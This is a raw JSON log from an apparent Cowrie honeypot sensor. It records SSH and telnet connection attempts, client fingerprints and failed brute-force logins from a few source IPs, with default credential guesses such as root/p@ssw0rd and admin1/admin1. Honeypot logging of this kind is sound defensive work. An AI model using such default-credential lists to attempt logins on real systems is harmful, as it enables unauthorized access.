{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:05.552024Z","src_ip":"176.65.132.254","session":"88ad04ad5a60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:06.644578Z","src_ip":"176.65.132.254","session":"88ad04ad5a60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":91.32091927528381,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:06.984671Z","src_ip":"134.209.8.29","session":"001cd88a3e80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53556,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f4e0e9d7b63","protocol":"ssh","message":"New connection: 176.65.132.254:53556 (10.17.0.5:22) [session: 2f4e0e9d7b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:08.695200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:08.700511Z","src_ip":"176.65.132.254","session":"2f4e0e9d7b63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:08.782505Z","src_ip":"176.65.132.254","session":"2f4e0e9d7b63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:09.048481Z","src_ip":"176.65.132.254","session":"2f4e0e9d7b63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":20959,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ebc9561f1cc","protocol":"ssh","message":"New connection: 205.254.166.101:20959 (159.203.135.109:22) [session: 0ebc9561f1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:09.325903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:09.331322Z","src_ip":"205.254.166.101","session":"0ebc9561f1cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:09.542624Z","src_ip":"205.254.166.101","session":"0ebc9561f1cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:10.142379Z","src_ip":"176.65.132.254","session":"2f4e0e9d7b63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"Qwerty123","message":"login attempt [develop/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:10.405757Z","src_ip":"205.254.166.101","session":"0ebc9561f1cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:11.617676Z","src_ip":"205.254.166.101","session":"0ebc9561f1cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":60016,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e7967a4e2fd","protocol":"telnet","message":"New connection: 134.209.8.29:60016 (159.203.135.109:23) [session: 1e7967a4e2fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:11.907875Z"}
{"eventid":"cowrie.session.closed","duration":120.00462770462036,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:11.967549Z","src_ip":"134.209.8.29","session":"3ebe4352878c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.66446661949158,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:12.736869Z","src_ip":"38.54.119.93","session":"eb3e27742d3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":45222,"dst_ip":"10.17.0.5","dst_port":22,"session":"4222e7ce0360","protocol":"ssh","message":"New connection: 176.65.132.254:45222 (10.17.0.5:22) [session: 4222e7ce0360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:12.909758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:12.914852Z","src_ip":"176.65.132.254","session":"4222e7ce0360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:12.996880Z","src_ip":"176.65.132.254","session":"4222e7ce0360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:13.247737Z","src_ip":"176.65.132.254","session":"4222e7ce0360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":32998,"dst_ip":"159.203.135.109","dst_port":23,"session":"74c5f024d084","protocol":"telnet","message":"New connection: 134.209.8.29:32998 (159.203.135.109:23) [session: 74c5f024d084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:13.567071Z"}
{"eventid":"cowrie.session.closed","duration":0.005032539367675781,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:13.571975Z","src_ip":"134.209.8.29","session":"74c5f024d084","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:14.338770Z","src_ip":"176.65.132.254","session":"4222e7ce0360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":45236,"dst_ip":"10.17.0.5","dst_port":22,"session":"80dd61a3a9cc","protocol":"ssh","message":"New connection: 176.65.132.254:45236 (10.17.0.5:22) [session: 80dd61a3a9cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:16.692522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:16.697663Z","src_ip":"176.65.132.254","session":"80dd61a3a9cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:16.780323Z","src_ip":"176.65.132.254","session":"80dd61a3a9cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:17.551663Z","src_ip":"176.65.132.254","session":"80dd61a3a9cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":60024,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9430f08b02f","protocol":"telnet","message":"New connection: 134.209.8.29:60024 (159.203.135.109:23) [session: f9430f08b02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:18.280601Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:18.657654Z","src_ip":"176.65.132.254","session":"80dd61a3a9cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.057311534881592,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:18.965050Z","src_ip":"134.209.8.29","session":"1e7967a4e2fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":45240,"dst_ip":"10.17.0.5","dst_port":22,"session":"66eb88576e0c","protocol":"ssh","message":"New connection: 176.65.132.254:45240 (10.17.0.5:22) [session: 66eb88576e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:20.791491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:20.797980Z","src_ip":"176.65.132.254","session":"66eb88576e0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:20.881468Z","src_ip":"176.65.132.254","session":"66eb88576e0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:21.149220Z","src_ip":"176.65.132.254","session":"66eb88576e0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.431760311126709,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:21.711749Z","src_ip":"134.209.8.29","session":"f9430f08b02f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:22.545337Z","src_ip":"176.65.132.254","session":"66eb88576e0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39578,"dst_ip":"10.17.0.5","dst_port":22,"session":"47623a36abd9","protocol":"ssh","message":"New connection: 176.65.132.254:39578 (10.17.0.5:22) [session: 47623a36abd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:24.891035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:24.896715Z","src_ip":"176.65.132.254","session":"47623a36abd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:24.981318Z","src_ip":"176.65.132.254","session":"47623a36abd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:25.539206Z","src_ip":"176.65.132.254","session":"47623a36abd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:26.637925Z","src_ip":"176.65.132.254","session":"47623a36abd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39592,"dst_ip":"10.17.0.5","dst_port":22,"session":"6db15bccf17a","protocol":"ssh","message":"New connection: 176.65.132.254:39592 (10.17.0.5:22) [session: 6db15bccf17a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:28.778474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:28.783404Z","src_ip":"176.65.132.254","session":"6db15bccf17a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:28.867705Z","src_ip":"176.65.132.254","session":"6db15bccf17a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:29.173219Z","src_ip":"176.65.132.254","session":"6db15bccf17a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35030,"dst_ip":"159.203.135.109","dst_port":23,"session":"d023782d65e0","protocol":"telnet","message":"New connection: 134.209.8.29:35030 (159.203.135.109:23) [session: d023782d65e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:29.180578Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:30.259128Z","src_ip":"176.65.132.254","session":"6db15bccf17a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58512,"dst_ip":"10.17.0.5","dst_port":23,"session":"65017353b2f6","protocol":"telnet","message":"New connection: 38.54.119.93:58512 (10.17.0.5:23) [session: 65017353b2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:30.288291Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55898,"dst_ip":"10.17.0.5","dst_port":22,"session":"77cb4b4efb8c","protocol":"ssh","message":"New connection: 176.65.132.254:55898 (10.17.0.5:22) [session: 77cb4b4efb8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:32.886019Z"}
